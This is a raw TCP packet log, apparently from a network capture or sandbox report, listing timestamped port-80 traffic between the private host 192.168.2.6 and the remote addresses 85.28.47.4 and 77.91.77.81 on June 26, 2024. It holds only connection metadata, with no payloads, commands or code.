Jun 26, 2024 08:16:26.291630030 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.291640043 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.291651964 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.291656017 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.291666985 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.291671991 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.291707039 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.291707039 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.291728020 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.291923046 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.291956902 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.291960955 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.291973114 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.291989088 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.292001963 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.292004108 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.292016029 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.292021036 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.292037010 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.292052031 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.292052031 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.292052031 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.292067051 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.292069912 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.292088032 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.292090893 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.292104959 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.292107105 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.292129993 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.292134047 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.292134047 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.292146921 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.292150974 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.292162895 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.292180061 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.292180061 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.292201042 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.371898890 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.371942043 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.371958971 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.371980906 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.371980906 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.372014999 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.372081995 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.372097015 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.372112989 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.372128963 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.372133017 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.372144938 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.372153997 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.372153997 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.372195005 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.372195005 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.372402906 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.372419119 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.372435093 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.372450113 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.372457981 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.372457981 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.372467995 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.372471094 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.372488976 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.372498035 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.372510910 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.372540951 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.372672081 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.372708082 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.372711897 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.372721910 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.372762918 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.372762918 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.372853041 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.372869015 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.372883081 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.372900009 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.372910976 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.372910976 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.372951031 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.372951031 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.373013020 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.373063087 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.373128891 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.373146057 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.373162031 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.373179913 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.373181105 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.373198032 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.373208046 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.373208046 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.373215914 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.373241901 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.373241901 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.373260021 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.373409033 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.373470068 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.373544931 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.373558998 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.373574018 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.373589993 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.373601913 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.373601913 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.373605967 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.373622894 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.373635054 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.373635054 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.373640060 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.373648882 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.373658895 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.373675108 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.373686075 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.373686075 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.373707056 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.373742104 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.373927116 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.373984098 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.408256054 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.413007975 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.583693981 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.583755016 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.583765984 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.583769083 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.583820105 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.583822012 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.583822012 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.583837032 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.583859921 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.583890915 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.583911896 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.583929062 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.583971977 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.583971977 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.584057093 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.584073067 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.584088087 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.584106922 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.584106922 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.584106922 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.584126949 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.584140062 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.584163904 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.584163904 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.584302902 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.584320068 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.584335089 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.584351063 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.584364891 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.584364891 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.584364891 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.584399939 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.584399939 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.584444046 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.584460020 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.584475040 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.584501028 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.584511995 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.584530115 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.584546089 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.584561110 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.584577084 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.584590912 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.584594011 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.584594011 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.584609032 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.584620953 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.584631920 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.584665060 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.584849119 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.584867001 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.584943056 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.585004091 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.585020065 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.585036993 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.585052013 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.585067987 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.585078955 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.585078955 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.585149050 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.585165024 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.585171938 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.585181952 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.585186005 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.585199118 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.585216045 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.585228920 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.585228920 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.585230112 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.585249901 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.585251093 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.585266113 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.585282087 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.585297108 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.585305929 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.585314989 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.585318089 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.585338116 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.585360050 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.585360050 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.585385084 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.585812092 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.585828066 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.585844040 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.585860014 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.585860014 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.585880041 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.585880995 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.585890055 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.585896015 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.585911989 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.585922956 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.585922956 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.585957050 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.585957050 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.586174011 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.586189985 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.586204052 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.586219072 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.586230040 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.586230040 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.586237907 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.586255074 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.586266041 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.586266041 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.586272001 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.586280107 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.586289883 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.586296082 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.586308002 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.586323977 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.586330891 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.586330891 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.586342096 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.586357117 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.586359024 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.586359024 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.586373091 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.586375952 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.586390018 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.586393118 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.586406946 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.586407900 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.586443901 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.586443901 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.586792946 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.586808920 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.586823940 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:26.586863995 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:26.586863995 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:27.148055077 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:27.148102045 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:27.153249025 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:27.153264999 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:27.890811920 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:27.890969038 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:27.973120928 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:27.979195118 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:28.151084900 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:28.151133060 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:28.151137114 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:28.151170969 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:28.151205063 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:28.154728889 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:28.159667969 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:28.336767912 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:28.336839914 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:28.362395048 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:28.368086100 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:29.081717014 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:29.085901022 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:29.124376059 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:29.141525030 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:29.838325024 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:29.838629007 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:29.841622114 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:29.847242117 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:29.847343922 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:29.847697020 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:29.852660894 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.552114964 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.552124977 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.552181959 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.552263975 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.552272081 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.552283049 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.552293062 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.552319050 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.552340031 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.552607059 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.552623987 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.552628040 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.552635908 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.552668095 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.552714109 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.559140921 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.559165955 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.559171915 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.559178114 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.559220076 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.559267044 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.676244020 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.676263094 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.676270962 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.676326036 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.676350117 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.676389933 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.676398039 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.676444054 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.676893950 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.676901102 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.676908970 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.676949978 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.677200079 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.677247047 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.677294970 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.677301884 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.677340984 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.677356958 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.677371025 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.677418947 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.678179979 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.678195000 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.678201914 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.678232908 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.678246975 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.678385973 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.678392887 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.678446054 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.679210901 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.679219007 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.679224968 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.679255009 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.679294109 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:30.679387093 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:30.679394007 CEST	80	49715	77.91.77.81	192.168.2.6
